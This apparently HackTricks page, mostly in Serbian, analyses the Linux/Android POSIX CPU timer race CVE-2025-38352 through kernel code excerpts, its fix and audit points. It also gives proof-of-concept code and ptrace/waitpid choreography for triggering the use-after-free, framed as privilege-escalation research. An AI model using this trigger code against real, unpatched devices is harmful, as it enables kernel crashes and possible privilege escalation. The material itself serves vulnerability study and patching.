POSIX CPU Timers TOCTOU race (CVE-2025-38352)

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Proverite planove pretplate!

Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.

Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.

Ova stranica dokumentuje TOCTOU race condition u Linux/Android POSIX CPU timers koji može korumpirati stanje timera i oboriti kernel, i u nekim okolnostima može se iskoristiti za eskalaciju privilegija.

Pogođena komponenta: kernel/time/posix-cpu-timers.c
Primitiv: trka između isteka i brisanja pri izlasku task-a
Osetljivo na konfiguraciju: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)

Kratak pregled internog funkcionisanja (relevantno za exploitation)

Tri CPU sata pokreću obračun za timere putem cpu_clock_sample():
CPUCLOCK_PROF: utime + stime
CPUCLOCK_VIRT: samo utime
CPUCLOCK_SCHED: task_sched_runtime()
Kreiranje timera povezuje timer sa task/pid i inicijalizuje timerqueue čvorove:

static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}

Naoružavanje umeće u per-base timerqueue i može ažurirati next-expiry cache:

static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}

Brza putanja izbegava skupo procesiranje osim ako keširani isteci ne ukazuju na moguće okidanje:

static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}

Expiration prikuplja istekle tajmere, označava ih kao aktivirane, uklanja ih iz reda; stvarna isporuka je odložena:

#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1;                           // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}

Dva režima obrade isteka

CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: istek se odlaže putem task_work na ciljnom tasku
CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: istek se obrađuje direktno u IRQ kontekstu

Task_work vs IRQ: putevi isteka

```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```

U IRQ-context putanji, firing list se obrađuje izvan sighand

IRQ-context delivery loop

```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```

Uzrok: TOCTOU između IRQ-time expiry i konkurentnog brisanja tokom izlaska task-a Preduslovi

CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
Ciljni task se završava, ali još nije u potpunosti uklonjen
Druga nit istovremeno poziva posix_cpu_timer_del() za isti timer

Sekvenca

update_process_times() pokreće run_posix_cpu_timers() u IRQ kontekstu za task koji se završava.
collect_timerqueue() postavlja ctmr->firing = 1 i premješta timer u privremenu firing listu.
handle_posix_cpu_timers() oslobađa sighand preko unlock_task_sighand() kako bi isporučio timere van zaključavanja.
Odmah nakon otključavanja, task koji se završava može biti uklonjen; sestrinska nit izvršava posix_cpu_timer_del().
U ovom prozoru, posix_cpu_timer_del() može propustiti da pribavi state preko cpu_timer_task_rcu()/lock_task_sighand() i tako preskočiti normalnu in-flight guard proveru koja proverava timer->it.cpu.firing. Brisanje se nastavlja kao da timer nije firing, korumpirajući stanje dok se obrada isteka odvija, što dovodi do crash-eva/UB.

How release_task() and timer_delete() free firing timers

Čak i nakon što je handle_posix_cpu_timers() skinuo timer sa liste task-a, ptraced zombie i dalje može biti reaped. waitpid() stack pokreće release_task() → __exit_signal(), koji razgrađuje sighand i redove signala dok drugi CPU još uvek drži pokazivače na objekat timera:

static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL;             // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}

Kada je sighand odvojen, timer_delete() i dalje vraća uspeh zato što posix_cpu_timer_del() ostavlja ret = 0 kada zaključavanje ne uspe, pa syscall nastavlja да oslobodi objekat putem RCU:

static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out;                   // ret stays 0 -> userland sees success
// ... normal unlink path ...
}

SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer);            // call_rcu(k_itimer_rcu_free)
return 0;
}

Pošto je slab object RCU-freed dok IRQ kontekst i dalje prolazi kroz firing listu, reuse of the timer cache postaje UAF primitive.

Usmeravanje reapa pomoću ptrace + waitpid

Najlakši način da se zombie zadrži bez automatskog reapa je da se ptrace-uje non-leader worker thread. exit_notify() prvo postavlja exit_state = EXIT_ZOMBIE i prelazi u EXIT_DEAD samo ako je autoreap true. Za ptraced threads, autoreap = do_notify_parent() ostaje false sve dok SIGCHLD nije ignored, tako da release_task() radi samo kada parent eksplicitno pozove waitpid():

Use pthread_create() inside the tracee tako da žrtva nije thread-group leader (wait_task_zombie() handles ptraced non-leaders).
Parent izdaje ptrace(PTRACE_ATTACH, tid) i kasnije waitpid(tid, __WALL) da pokrene do_wait_pid() → wait_task_zombie() → release_task().
Pipes ili shared memory prenose tačan TID roditelju tako da se odgovarajući worker reaps on demand.

Ova koreografija garantuje prozor u kome handle_posix_cpu_timers() i dalje može da referencira tsk->sighand, dok naredni waitpid() raskida to i omogućava timer_delete() da reclaim-uje isti k_itimer object.

Zašto je TASK_WORK mode siguran po dizajnu

Sa CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry se odlaže na task_work; exit_task_work se izvršava pre exit_notify, pa se IRQ-vremensko preklapanje sa reaping-om ne dešava.
Čak i tada, ako task već izlazi, task_work_add() ne uspeva; gating na exit_state čini oba moda konzistentnim.

Fix (Android common kernel) and rationale

Add an early return if current task is exiting, gating all processing:

// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;

Ovo sprečava ulazak u handle_posix_cpu_timers() za zadatke koji izlaze, uklanjajući prozor u kome posix_cpu_timer_del() može propustiti it.cpu.firing i takmičiti se sa obradom isteka.

Impact

Korupcija kernel memorije timer struktura tokom istovremenog isteka/brisanja može dovesti do momentalnih rušenja (DoS) i predstavlja snažan primitiv za privilege escalation zbog mogućnosti proizvoljne manipulacije stanja kernela.

Triggering the bug (safe, reproducible conditions) Build/config

Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix. On x86/arm64 the option is normally forced on via HAVE_POSIX_CPU_TIMERS_TASK_WORK, so researchers often patch kernel/time/Kconfig to expose a manual toggle:

config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y

Ovo odražava ono što su dobavljači Android-a uradili za build-ove za analizu; upstream x86_64 i arm64 forsiraju HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, pa ranjiv IRQ path uglavnom postoji na 32-bit Android kernelima gde je ta opcija izostavljena pri kompajliranju.

Pokrenuti na višejezgarnom VM-u (npr. QEMU -smp cores=4) tako da parent, child main i worker threads mogu ostati vezane za posvećene CPU.

Runtime strategy

Ciljati nit koja će uskoro da završi i prikačiti CPU timer na nju (po-niti ili za ceo proces časovnik):
Za po-niti: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
Za ceo proces: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
Konfigurisati veoma kratak početni timeout i mali interval da maksimizujete ulaze u IRQ-path:

static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1;           // fire ASAP
its.it_interval.tv_nsec = 1;        // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}

Iz sestrinske niti, istovremeno obrišite isti tajmer dok ciljana nit izlazi:

void *deleter(void *arg) {
for (;;) (void)timer_delete(t);     // hammer delete in a loop
}

Pojačivači race uslova: visoka stopa scheduler tick-ova, CPU load, ponovljeni ciklusi izlaska i ponovnog kreiranja thread-ova. Crash se tipično manifestuje kada posix_cpu_timer_del() propusti da primeti okidanje zbog neuspešnog task lookup/locking odmah nakon unlock_task_sighand().

Praktična orkestracija PoC-a

Koreografija thread-a i IPC

Pouzdan reproducer radi fork u ptracing parent i child koji spawn-uje ranjivi worker thread. Dva pipe-a (c2p, p2c) isporučuju worker TID i kontrolišu napredovanje svake faze, dok pthread_barrier_t sprečava worker-a da naoruža timer dok parent nije attach-ovao. Svaki process ili thread je pin-ovan pomoću sched_setaffinity() (npr. parent na CPU1, child main na CPU0, worker na CPU2) da bi se smanjila buka schedulera i održala reproducibilnost race-a.

Kalibracija timera sa CLOCK_THREAD_CPUTIME_ID

Worker naoružava per-thread CPU timer tako da samo njegova sopstvena CPU potrošnja pomera deadline. Podesivi wait_time (podrazumevano ≈250 µs CPU vremena) plus ograničeni busy loop obezbeđuju da exit_notify() postavi EXIT_ZOMBIE dok se timer upravo sprema da se okine:

Minimalni skelet per-thread CPU timera

```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU time

static void timer_fire(sigval_t unused) { puts(“timer fired”); }

static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);

struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };

pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);

for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }

</details>

#### Vremenska linija trke
1. Dete kaže roditelju worker TID preko `c2p`, zatim se blokira na barijeri.
2. Roditelj izvršava `PTRACE_ATTACH`, čeka u `waitpid(__WALL)`, zatim poziva `PTRACE_CONT` da pusti worker da radi i izađe.
3. Kada heuristika (ili ručni unos operatora) sugeriše da je timer sakupljen u IRQ-stranu `firing` listu, roditelj ponovo izvršava `waitpid(tid, __WALL)` da bi pokrenuo release_task() i oslobodio `tsk->sighand`.
4. Roditelj signalizira dete preko `p2c` tako da child main može pozvati `timer_delete(timer)` i odmah pokrenuti pomoćnu funkciju kao što je `wait_for_rcu()` dok se RCU callback timera ne završi.
5. IRQ kontekst na kraju nastavlja `handle_posix_cpu_timers()` i dereferencira oslobođeni `struct k_itimer`, pokrećući KASAN ili WARN_ON() upozorenja.

#### Opcionalna kernel instrumentacija
Za istraživačke okvire, ubacivanje debug-only `mdelay(500)` unutar handle_posix_cpu_timers() kada je `tsk->comm == "SLOWME"` proširuje vremenski prozor tako da gore opisana koreografija gotovo uvek „pobeđuje“ trku. Isti PoC takođe preimenuje thread-ove (`prctl(PR_SET_NAME, ...)`) tako da kernel logovi i breakpoint-i potvrđuju da se očekivani worker reapsuje.

### Naznake instrumentacije tokom eksploatacije
- Dodajte tracepoints/WARN_ONCE oko unlock_task_sighand()/posix_cpu_timer_del() da uočite slučajeve gde se `it.cpu.firing==1` poklapa sa neuspehom cpu_timer_task_rcu()/lock_task_sighand(); pratite konzistentnost timerqueue kada žrtva izlazi.
- KASAN obično prijavljuje `slab-use-after-free` unutar posix_timer_queue_signal(), dok non-KASAN kernel-i loguju WARN_ON_ONCE() iz send_sigqueue() kada trka uspe, što daje brz indikator uspeha.

Audit tačke (za recenzente)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() izbor (TASK_WORK vs IRQ putanja)
- collect_timerqueue(): postavlja ctmr->firing i pomera čvorove
- handle_posix_cpu_timers(): odbacuje sighand pre firing petlje
- posix_cpu_timer_del(): oslanja se na it.cpu.firing da detektuje istovremeno isticanje; ova provera se preskače kada lookup/lock zadatka zakaže tokom exit/reap

Napomene za istraživanje eksploatacije
- Otkriveno ponašanje je pouzdan kernel crash primitive; pretvaranje toga u privilege escalation obično zahteva dodatno kontrolisano preklapanje (vreme života objekta ili write-what-where uticaj) što je izvan opsega ovog pregleda. Smatrajte svaki PoC potencijalno destabilizujućim i pokrećite ga samo u emulatorima/VM-ovima.

## References
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 – In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)

> [!TIP]
> Učite i vežbajte AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Učite i vežbajte GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Učite i vežbajte Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Podržite HackTricks</summary>
>
> - Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
> - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
>
> </details>